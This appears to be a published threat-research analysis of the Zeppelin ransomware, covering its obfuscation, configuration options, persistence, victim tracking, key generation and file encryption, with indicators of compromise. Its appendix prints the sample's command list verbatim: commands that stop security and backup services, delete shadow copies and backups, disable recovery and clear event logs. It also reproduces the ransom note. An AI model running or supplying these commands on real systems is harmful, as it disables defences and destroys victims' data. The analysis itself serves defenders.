Zeppelin: Russian Ransomware Targets High Profile Users in the U.S. and Europe

threatvector.cylance.com/en_us/home/zeppelin-russian-ransomware-targets-high-profile-users-in-the-us-and-europe.html

The BlackBerry Cylance Threat Research Team

Zeppelin: Russian Ransomware Targets High Profile Users in the U.S. and Europe

Introduction

Zeppelin is the newest member of the Delphi-based Ransomware-as-a-Service (RaaS) family initially known as Vega or VegaLocker. Although it's clearly based on the same code and shares most of its features with its predecessors, the campaign that it's been part of differs significantly from campaigns involving the previous versions of this malware.

Vega samples were first discovered in the beginning of 2019, being distributed alongside other widespread financial malware as part of a malvertising operation on Yandex.Direct - a Russian online advertising network. This campaign was aimed at Russian speaking users (with apparent focus on the people working in accounting) and was designed to have a broad reach, as opposed to careful targeting. The binaries were often signed with a valid certificate and hosted on GitHub. During a course of this year, several new versions of Vega appeared, each bearing a different name (Jamper, Storm, Buran, etc.), some of them offered as a service on underground forums.

The recent campaign that utilizes the newest variant, Zeppelin, is visibly distinct. The first samples of Zeppelin - with compilation timestamps no earlier than November 6, 2019 - were discovered targeting a handful of carefully chosen tech and healthcare companies in Europe and the U.S. In a stark opposition to the Vega campaign, all Zeppelin binaries (as well as some newer Buran samples) are designed to quit if running on machines that are based in Russia and some other ex-USSR countries.

Zeppelin appears to be highly configurable and can be deployed as an EXE, DLL, or wrapped in a PowerShell loader. The samples are hosted on water-holed websites and, in the case of PowerShell, on Pastebin. There are reasons to believe at least some of the attacks were conducted through MSSPs, which would bear similarities to another recent highly targeted campaign that used a ransomware called Sodinokibi.

The major shift in targeting from Russian-speaking to Western countries, as well as differences in victim selection and malware deployment methods, suggest that this new variant of Vega ransomware ended up in the hands of different threat actors - either used by them as a service, or redeveloped from bought/stolen/leaked sources.

Obfuscation

All sensitive strings in Zeppelin binaries are obfuscated with a different pseudo-random 32-byte RC4 key, prepended to each encrypted string:

Figure 1: Obfuscated string

The string obfuscation acts as a crude polymorphism mechanism, as each generated sample will use different RC4 keys. It also helps Zeppelin evade detection and complicates analysis.

Although the majority of samples are not packed, BlackBerry Cylance researchers have come across Zeppelin executables protected by attackers using additional polymorphic obfuscation software.

In these cases, the Zeppelin executables were wrapped in three layers of obfuscation:

- Code of varying size using a set of random APIs (often associated with benign software) and several stalling loops to deceive heuristic mechanisms and outrun sandboxes.
- First stage shellcode, encoded with simple XOR using a static 1-byte key derived from a hardcoded DWORD value. This shellcode decodes the payload binary, together with its loader, using 1-byte XOR, but this time the key is mutated for each decryption round.
- Second stage shellcode which injects the payload binary into memory and executes it:

Figure 2: Example of a stalling loop in the first layer of obfuscation

Figure 3: Payload decoding shellcode

Configuration

The ransomware appears to have the following Boolean options:

ID	Name	Description
1	*(none)*	Run as DLL: one instance encrypting all drives and shares (as opposed to EXE); incompatible with “Startup” option.
2	IP Logger	Use IPLogger service (iplogger[.]ru or iplogger[.]org) to track victim’s IP address and country code.
3	Startup	Copy itself to another location, set persistence, launch with “-start” parameter.
4	Delete backups	Execute specified commands; used to stop certain services, disable recovery, delete backups and shadow copies, etc.
5	Task-killer	Kill specified processes.
6	Auto-unlock busy files	Try to unlock files that appear locked during encryption.
7	Melt	Before exiting, inject self-deletion thread to notepad.exe (deletes the executable, as well as all added registry values). Exit with 0xDEADFACE code.
8	UAC prompt	When re-running try elevating privileges (only used when "Startup" set).

These options, along with the public RSA key and other configurable strings, can be set from the Zeppelin builder user-interface during generation of the ransomware binary:

Figure 4: Example configuration

All configurable data is stored in the .itext section of the Zeppelin binary and includes:

- Hardcoded public key (modulus and exponent separately)
- GUID (differs for each sample)

- URL address for IPLogger check-in
- Excluded folders list
- Excluded files list
- Excluded extensions list
- List of processes to kill
- List of commands to run
- Readme file name
- Readme file content

Execution

The ransomware binary can be executed with the following parameters:

Parameter	Description
<path to an existing file>	Encrypt one file
<path to an existing directory>	Encrypt files in the specified directory
-start	Skip installation and execute the second stage of malicious code (i.e. file encryption)
-agent <int>	Run as an agent; encrypt files in the path specified in a value under HKCU/Software/Zeppelin/Paths key, where <int> is the name of the value (consecutive numbers starting with 0)
(no parameters)	Default encryption routine

Installation

Upon initial execution (without parameters), the malware will check the victim’s country code to make sure it’s not running in one of the following countries:

- Russian Federation
- Ukraine
- Belorussia
- Kazakhstan

Depending on the options set during the building process, it will either check the machine's default language and default country calling code or use an online service to obtain the victim's external IP address:

Figure 5: Checking victim's country

The malware creates an empty file in the **%TEMP%** directory with the ".zeppelin" extension and a name that is a CRC32 hash of the malware path.

If the "Startup" option is set the malware will copy itself to the **%APPDATA%**\Roaming\Microsoft\Windows directory using a name randomly chosen from the list of active processes (ignoring any processes that were invoked with an "install" or "setup" command-line argument).

The chosen name is then encrypted with a randomly generated 32-byte RC4 key, base64 encoded (together with the prepended key) and saved to a registry value called "Process" under HKCU\Software\Zeppelin.

After setting persistence via the HKCU\Software\Microsoft\Windows\CurrentVersion\Run key in the registry, the ransomware will re-execute itself from the new path with the "-start" argument. If the "UAC prompt" option is set, it will try to run with elevated privileges.

If the "Melt" option is set, a self-deletion thread will be injected into a newly spawned notepad.exe process and the malware will exit with the code 0xDEADFACE. Otherwise, it will simply exit with code 0.

Network Communication

Like its predecessors, Zeppelin allows attackers to track the IP addresses and location of victims via the IPLogger web service. If the relevant option is set, the ransomware will try to check-in by sending a GET request to a hardcoded URL that was generated by using the IPLogger URL Shortener service. The User-Agent field id set to "ZEPPELIN" and the referrer field contains a unique victim ID, created during the key generation phase:

Figure 6: GET request with custom headers

To prevent a victim from checking in more than once, a "Knock" value of 0x29A (666) is written under HKCU\Software\Zeppelin. If the value already exists, the malware will not try to contact the URL on subsequent runs.

Attackers can use the IPLogger web service to view a list of victims and use the shortened URL to redirect users to other malicious content.

Key Generation

The encryption algorithm has not changed substantially compared to previous versions of Buran. It employs a standard combination of symmetric file encryption with randomly generated keys for each file (AES-256 in CBC mode), and asymmetric encryption used to protect the session key (using a custom RSA implementation, possibly developed in-house).

First, the malware will generate a pair of 512-bit RSA keys for the victim and save them to memory in the following format:

```
<N>{privatekey_modulus_hexstr}</N><D>{privatekey_exponent_hexstr}</D>
<N>{publickey_modulus_hexstr}</N><E>{publickey_exponent_hexstr}</E>
```

Figure 7: Example of encryption keys: attacker’s public key (blue), generated victim's public key (green) & private key (red), their encrypted and base64 encode versions (yellow)

The private key from this pair will be encrypted using the attacker’s 2048-bit public RSA key hardcoded in the .itext section of the binary. Both the victim’s RSA encrypted private key and its corresponding public key will then be further obfuscated with a randomly generated 32-byte RC4 key, base64 encoded (together with the prepended RC4 key) and saved to the registry under HKCU\Software\Zeppelin\Keys as “Public Key” and “Encrypted Private Key” respectively:

Figure 8: Encryption of the victim's private key

A unique victim ID is then created using the first 11 bytes of the victim's RSA public key modulus and replacing the third and seventh character with a dash "-" character. An example ID for the keys shown above would be 389-04C-3D7.

File Encryption

Zeppelin will enumerate files on all drives and network shares to build a list of directories. Depending on the binary type, it will either use the WNetEnumResource API (if running as an EXE) or the following command (if running as a DLL):

```
chcp 1250 && net view
```

For each file that doesn’t match the excluded files/extensions list, the malware will perform the following actions:

1. Save the original file attributes and access times to memory and set FILE_ATTRIBUTE_ARCHIVE

2. Prepend a "666" string to the plain text file

3. Generate a random 32-byte AES symmetric key and 16-byte Initialization Vector (IV)

4. Encrypt the file using AES-256 in CBC mode (only the first 0x10000 bytes, the rest of the file content remains unencrypted)

5. Encrypt the AES key with the victim's public RSA key and then further obfuscate it with a randomly generated 32-byte RC4 key:

Figure 9: AES key encryption

6. Prepend a hardcoded marker string to the encrypted file, together with the 8-byte length of encrypted data and 8-byte length of original data (including previously added 3-byte "666" string):

Figure 10: Encrypted file header; marker string (green) and file sizes (red), followed by encrypted content

7. Append the following information after the encrypted file content:

Length	Description
4	Length of the next field
0x28 (40)	32-byte RC4 key followed by 8 encrypted zero bytes
4	Length of the next field
0xBB (187)	RC4 obfuscated, RSA-encrypted AES key
4	Length of the next field
0x4F4 (1268)	Victim’s private key asymmetrically encrypted with the attacker’s public key
4	Size of data to encrypt

8	Original file size
4	Size of all appended data

Figure 11: Encrypted file footer

8. Rename the file to append the victim’s unique ID as an extension

9. Set the file attributes and access times back to original

10. Proceed to the next file

If Zeppelin is running as an executable, the first instance of the ransomware will encrypt the files on the current logical drive and spawn a number of subsequent processes with the "-agent" parameter. These processes are responsible for encrypting files on other drives and network shares. All paths to encrypt are stored under the HKCU\Software\Zeppelin\Paths registry key.

Interestingly, some of the samples will encrypt only the first 0x1000 bytes (4KB), instead of 0x10000 (65KB). It might be either an unintended bug, or a conscious choice to speed up the encryption process while rendering most files unusable anyway.

After encrypting all files, Zeppelin will drop a ransom note text file and display it in notepad. The filename and contents are configurable by the attacker. BlackBerry Cylance researchers have uncovered several different versions, ranging from short, generic messages to more elaborate ransom notes tailored to individual organisations. All the messages instruct the victim to contact the attacker via a provided email addresses and quote their personal ID number. The attackers are using several secure email providers that are notoriously associated with ransomware, such as firemail[.]cc, Protonmail and Tutanota. Additionally, one of the ransom notes uncovered provides an email address associated with a .onion domain that is only accessible via Tor.

Conclusion

Ransomware, once in decline, has experienced a resurgence due to the efforts of innovative threat actors. For example, the actors behind Zeppelin demonstrate a dedication to their craft by deploying precise attacks against high-profile targets in the IT and health sectors. Targeting specific organizations rather than every reachable user is just one example of how ransomware attacks continue to evolve. The ongoing refinement of ransomware attacks serves as a stark reminder that effective cyber security should be proactive, predictive, adaptive, and semi-autonomous.

BlackBerry Cylance researchers aim to keep organizations one step ahead of cyberattacks by sharing threat analysis like this with the public. For an informative analysis of other threats, visit us at http://www.cylance.com.

APPENDIX

Indicators of Compromise (IOCs)

04628e5ec57c983185091f02fb16dfdac0252b2d253ffc4cd8d79f3c79de2722	SHA256
39d8331b963751bbd5556ff71b0269db018ba1f425939c3e865b799cc770bfe4	SHA256
4894b1549a24e964403565c61faae5f8daf244c90b1fbbd5709ed1a8491d56bf	SHA256
e22b5062cb5b02987ac32941ebd71872578e9be2b8c6f8679c30e1a84764dba7	SHA256
1f94d1824783e8edac62942e13185ffd02edb129970ca04e0dd5b245dd3002bc	SHA256
d61bd67b0150ad77ebfb19100dff890c48db680d089a96a28a630140b9868d86	SHA256
HKCU\Software\Zeppelin	Reg key
{961367AF-2538-7AA3-CE0E-20CBF2F40FD2}	GUID
{4B76FDEB-DA9A-2C56-7460-BB8AB48A34C5}	GUID
{56A680F5-496F-8328-C080-FDF866E8183F}	GUID
{EEDECCF1-06D1-0333-0333-1084CF2219BB}	GUID
{A321064D-1177-5C30-7EE6-AEFD48302DCB}	GUID
{81732134-D330-05F5-35FC-57B2E8FFB983}	GUID
https[://]iplogger[.]org/1HVwe7.png	URL
https[://]iplogger[.]org/1HCne7.jpeg	URL

https[://]iplogger[.]org/1Hpee7.jpeg	URL
https[://]iplogger[.]org/1syG87	URL
https[://]iplogger[.]org/1H7Yt7.jpg	URL
https[://]iplogger[.]org/1wF9i7.jpeg	URL
bad_sysadmin(at)protonmail[.]com	Email
Vsbb(at)firemail[.]cc	Email
Vsbb(at)tutanota[.]com	Email
buratino(at)firemail[.]cc	Email
buratino2(at)tutanota[.]com	Email
ran-unlock(at)protonmail[.]com	Email
ranunlock(at)cock[.]li	Email
buratin(at)torbox3uiot6wchz[.]onion	Email

Example of Hardcoded Configuration

Public RSA Key Modulus

```
17DB1021E0A86DAAB34E261C1FFB0864EB5DBD825B5EC3B30C8CA42A6F368ADEFECAF
242FD8F36D421EEE13D90802EFD2617FF0DE8D4C3C4924648F9249C42F08854EEEDF8
DA14E76DD8497BB0C8FD09C1B71CA5496519A2088809905373D28AB511B104405F200
CCE7B13BE61DC7C13FF478D72208764F69A7BF5812FB115F436BF4097A59CF27F99E0D
CB8A9697EEF5338B13CCA2AB52E878FD9A13D2BA834D8204A35BCAC2247ACFD8CC8
AC29838904DEDFD8B0F84140EA32E9FE921B5319C1E279C0F356DA7B1F4D2A77EDA5
B559240ACCBD395968C0B3D2626273B58F6AA1EB58E7420F07805E5467E1908E6528
000BADB59178EF087AEAEBEE6BB7F41DFD
```

Public RSA Key Exponent

1519D8329EAF8C9301527CE7A3CC7FF48E7C022973B98C513F8AFA32155519C82B9B645
65B0A0EEEB7B71D1140C073A68FE3B28DADA12A115DB6A25D6DED4304F2298F4ED5A
5F4CA42F313F6FBA174A7440C2EED50CF6DAF603DB5CC417D4B787C0366762D3AB3F2
A4E348BA2ED73781CE3793CDD63197FC47BC80BC2065547148CD5C42665419EEBE5AA
181DEC91160D1B76E18CCAECD2D024E8363FB49E9923C53F2A86973D038F1D8F68BF4F
26DF70D4ED5B404E835C364E3299874F443E4C0486FED0B1F4AA15C4E6837FC3C2892
646EC91E232C76A831FE8667288A9A9A987B9767070D832C406EE13353FD83696B9F94
35C0F4E5FC91F0AED0F2839FB9C5

Unique ID of the Malware Sample:

{961367AF-2538-7AA3-CE0E-20CBF2F40FD2}

IPLogger URL:

https[://]iplogger[.]org/1HVwe7.png

Excluded Folders:

%WINDIR%

:\$Windows.~bt\;:\System Volume Information\;:\Windows.old\;:\Windows\;:\intel\;:\nvidia\;:\inetpub\logs\;\All Users\;\AppData\;\Apple Computer\Safari\;\Application Data\;\Boot\;\Google\;\Google\Chrome\;\Mozilla Firefox\;\Mozilla\;\Opera Software\;\Opera\;\Tor Browser\;\Common Files\;\Internet Explorer\;\Windows Defender\;\Windows Mail\;\Windows Media Player\;\Windows Multimedia Platform\;\Windows NT\;\Windows Photo Viewer\;\Windows Portable Devices\;\WindowsPowerShell\;\Windows Photo Viewer\;\Windows Security\;\Embedded Lockdown Manager\;\Windows Journal\;\MSBuild\;\Reference Assemblies\;\Windows Sidebar\;\Windows Defender Advanced Threat Protection\;\Microsoft\;\Package Cache\;\Microsoft Help\;

Excluded Files:

boot.ini;bootfont.bin;bootsect.bak;desktop.ini;iconcache.db;ntdetect.com;ntldr;ntuser.dat;ntuser.dat.log;ntuser.ini;thumbs.db;

Excluded Extensions:

.bat;.cmd;.com;.cpl;.dll;.msc;.msp;.pif;.scr;.sys;.log;.lnk;.zeppelin;

List of Processes to Kill:

```
agntsvc.exe;agntsvc.exeagntsvc.exe;agntsvc.exeencsvc.exe;agntsvc.exeisqlplussvc.exe;
anvir.exe;anvir64.exe;apache.exe;backup.exe;ccleaner.exe;ccleaner64.exe;dbeng50.exe;
dbsnmp.exe;encsvc.exe;far.exe;firefoxconfig.exe;infopath.exe;isqlplussvc.exe;kingdee.exe;
msaccess.exe;msftesql.exe;mspub.exe;mydesktopqos.exe;mydesktopservice.exe;
mysqld-nt.exe;mysqld-opt.exe;mysqld.exe;ncsvc.exe;ocautoupds.exe;ocomm.exe;
ocssd.exe;oracle.exe;
oracle.exe;procexp.exe;regedit.exe;sqbcoreservice.exe;sql.exe;sqlagent.exe;
sqlbrowser.exe;sqlserver.exe;sqlservr.exe;sqlwriter.exe;synctime.exe;taskkill.exe;
tasklist.exe;taskmgr.exe;tbirdconfig.exe;tomcat.exe;tomcat6.exe;u8.exe;ufida.exe;
visio.exe;xfssvccon.exe;
```

List of Commands to Run:

```
net stop "Acronis VSS Provider" /y;net stop "Enterprise Client Service" /y;net stop "SQL
Backups" /y;net stop "SQLsafe Backup Service" /y;net stop "SQLsafe Filter Service" /y;net
stop "Sophos Agent" /y;net stop "Sophos AutoUpdate Service" /y;net stop "Sophos Clean
Service" /y;net stop "Sophos Device Control Service" /y;net stop "Sophos File Scanner
Service" /y;net stop "Sophos Health Service" /y;net stop "Sophos MCS Agent" /y;net stop
"Sophos MCS Client" /y;net stop "Sophos Message Router" /y;net stop "Sophos Safestore
Service" /y;net stop "Sophos System Protection Service" /y;net stop "Sophos Web Control
Service" /y;net stop "Symantec System Recovery" /y;net stop "Veeam Backup Catalog Data
Service" /y;net stop "Zoolz 2 Service" /y;net stop ARSM /y;net stop AVP /y;net stop
AcrSch2Svc /y;net stop AcronisAgent /y;net stop Antivirus /y;net stop
BackupExecAgentAccelerator /y;net stop BackupExecAgentBrowser /y;net stop
BackupExecDeviceMediaService /y;net stop BackupExecJobEngine /y;net stop
BackupExecManagementService /y;net stop BackupExecRPCService /y;net stop
BackupExecVSSProvider /y;net stop DCAgent /y;net stop EPSecurityService /y;net stop
EPUpdateService /y;net stop ESHASRV /y;net stop EhttpSrv /y;net stop EraserSvc11710
/y;net stop EsgShKernel /y;net stop FA_Scheduler /y;net stop IISAdmin /y;net stop
IMAP4Svc /y;net stop KAVFS /y;net stop KAVFSGT /y;net stop MBAMService /y;net stop
MBEndpointAgent /y;net stop MMS /y;net stop MSExchangeES /y;net stop MSExchangeIS
/y;net stop MSExchangeMGMT /y;net stop MSExchangeMTA /y;net stop MSExchangeSA
/y;net stop MSExchangeSRS /y;net stop MSOLAP$SQL_2008 /y;net stop
MSOLAP$SYSTEM_BGC /y;net stop MSOLAP$TPS /y;net stop MSOLAP$TPSAMA /y;net
stop MSSQL$BKUPEXEC /y;net stop MSSQL$ECWDB2 /y;net stop
MSSQL$PRACTICEMGT /y;net stop MSSQL$PRACTTICEBGC /y;net stop MSSQL$PROD
/y;net stop MSSQL$PROFXENGAGEMENT /y;net stop MSSQL$SBSMONITORING /y;net
stop MSSQL$SHAREPOINT /y;net stop MSSQL$SOPHOS /y;net stop
MSSQL$SQLEXPRESS /y;net stop MSSQL$SQL_2008 /y;net stop MSSQL$SYSTEM_BGC
/y;net stop MSSQL$TPS /y;net stop MSSQL$TPSAMA /y;net stop
MSSQL$VEEAMSQL2008R2 /y;net stop MSSQL$VEEAMSQL2008R2 /y;net stop
MSSQL$VEEAMSQL2012 /y;net stop MSSQLFDLauncher /y;net stop
MSSQLFDLauncher$PROFXENGAGEMENT /y;net stop
MSSQLFDLauncher$SBSMONITORING /y;net stop MSSQLFDLauncher$SHAREPOINT
/y;net stop MSSQLFDLauncher$SQL_2008 /y;net stop MSSQLFDLauncher$SYSTEM_BGC
/y;net stop MSSQLFDLauncher$TPS /y;net stop MSSQLFDLauncher$TPSAMA /y;net stop
MSSQLSERVER /y;net stop MSSQLServerADHelper /y;net stop
MSSQLServerADHelper100 /y;net stop MSSQLServerOLAPService /y;net stop
McAfeeEngineService /y;net stop McAfeeFramework /y;net stop
McAfeeFrameworkMcAfeeFramework /y;net stop McShield /y;net stop McTaskManager
/y;net stop MsDtsServer /y;net stop MsDtsServer100 /y;net stop MsDtsServer110 /y;net stop
```

```
MySQL57 /y;net stop MySQL80 /y;net stop NetMsmqActivator /y;net stop
OracleClientCache80 /y;net stop PDVFSService /y;net stop POP3Svc /y;net stop RESvc
/y;net stop ReportServer /y;net stop ReportServer$SQL_2008 /y;net stop
ReportServer$SYSTEM_BGC /y;net stop ReportServer$TPS /y;net stop
ReportServer$TPSAMA /y;net stop SAVAdminService /y;net stop SAVService /y;net stop
SDRSVC /y;net stop SMTPSvc /y;net stop SNAC /y;net stop SQLAgent$BKUPEXEC /y;net
stop SQLAgent$CITRIX_METAFRAME /y;net stop SQLAgent$CXDB /y;net stop
SQLAgent$ECWDB2 /y;net stop SQLAgent$PRACTTICEBGC /y;net stop
SQLAgent$PRACTTICEMGT /y;net stop SQLAgent$PROD /y;net stop
SQLAgent$PROFXENGAGEMENT /y;net stop SQLAgent$SBSMONITORING /y;net stop
SQLAgent$SHAREPOINT /y;net stop SQLAgent$SOPHOS /y;net stop
SQLAgent$SQLEXPRESS /y;net stop SQLAgent$SQL_2008 /y;net stop
SQLAgent$SYSTEM_BGC /y;net stop SQLAgent$TPS /y;net stop SQLAgent$TPSAMA
/y;net stop SQLAgent$VEEAMSQL2008R2 /y;net stop SQLAgent$VEEAMSQL2008R2
/y;net stop SQLAgent$VEEAMSQL2012 /y;net stop SQLBrowser /y;net stop
SQLSERVERAGENT /y;net stop SQLSafeOLRService /y;net stop SQLTELEMETRY /y;net
stop SQLTELEMETRY$ECWDB2 /y;net stop SQLWriter /y;net stop SamSs /y;net stop
SepMasterService /y;net stop ShMonitor /y;net stop SmcService /y;net stop Smcinst /y;net
stop SntpService /y;net stop SstpSvc /y;net stop TmCCSF /y;net stop TrueKey /y;net stop
TrueKeyScheduler /y;net stop TrueKeyServiceHelper /y;net stop UI0Detect /y;net stop
VeeamBackupSvc /y;net stop VeeamBrokerSvc /y;net stop VeeamCatalogSvc /y;net stop
VeeamCloudSvc /y;net stop VeeamDeploySvc /y;net stop VeeamDeploymentService /y;net
stop VeeamEnterpriseManagerSvc /y;net stop VeeamHvIntegrationSvc /y;net stop
VeeamMountSvc /y;net stop VeeamNFSSvc /y;net stop VeeamRESTSvc /y;net stop
VeeamTransportSvc /y;net stop W3Svc /y;net stop WRSVC /y;net stop bedbg /y;net stop
ekrn /y;net stop kavfsslp /y;net stop klnagent /y;net stop macmnsvc /y;net stop masvc /y;net
stop mfefire /y;net stop mfemms /y;net stop mfevtp /y;net stop mozyprobackup /y;net stop
msftesql$PROD /y;net stop ntrtscan /y;net stop sacsvr /y;net stop sophossps /y;net stop
svcGenericHost /y;net stop swi_filter /y;net stop swi_service /y;net stop swi_update /y;net
stop swi_update_64 /y;net stop tmlisten /y;net stop wbengine /y;net stop wbengine /y;bcdedit
/set {default} bootstatuspolicy ignoreallfailures;bcdedit /set {default} recoveryenabled
no;wbadmin delete catalog -quiet;wbadmin delete systemstatebackup;wbadmin delete
systemstatebackup -keepversions:0;wbadmin delete backup;wmic shadowcopy
delete;vssadmin delete shadows /all /quiet;reg delete
"HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f;reg
delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f;reg
add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers";attrib
"%userprofile%\documents\Default.rdp" -s -h;del
"%userprofile%\documents\Default.rdp";wevtutil.exe clear-log Application;wevtutil.exe clear-
log Security;wevtutil.exe clear-log System;sc config eventlog start=disabled;
```

Readme File Name

!!! ALL YOUR FILES ARE ENCRYPTED !!!.TXT

Readme File Content:

> !!! ALL YOUR FILES ARE ENCRYPTED !!!
>
> All your files, documents, photos, databases and other important files are encrypted.
>
> You are not able to decrypt it by yourself! The only method of recovering files is to purchase an unique private key. Only we can give you this key and only we can recover your files.
>
> To be sure we have the decryptor and it works you can send an email:
> bad_sysadmin(at)protonmail[.]com   and decrypt one file for free.
> But this file should be of not valuable!
>
> Do you really want to restore your files?
> Write to email:bad_sysadmin(at)protonmail[.]com
>
> Your personal ID: <!--ID-->
>
> Attention!
> * Do not rename encrypted files.
> * Do not try to decrypt your data using third party software, it may cause permanent data loss.
> * Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.

The BlackBerry Cylance Threat Research Team

About The BlackBerry Cylance Threat Research Team

The BlackBerry Cylance Threat Research team examines malware and suspected malware to better identify its abilities, function and attack vectors. Threat Research is on the frontline of information security and often deeply examines malicious software, which puts us in a unique position to discuss never-seen-before threats.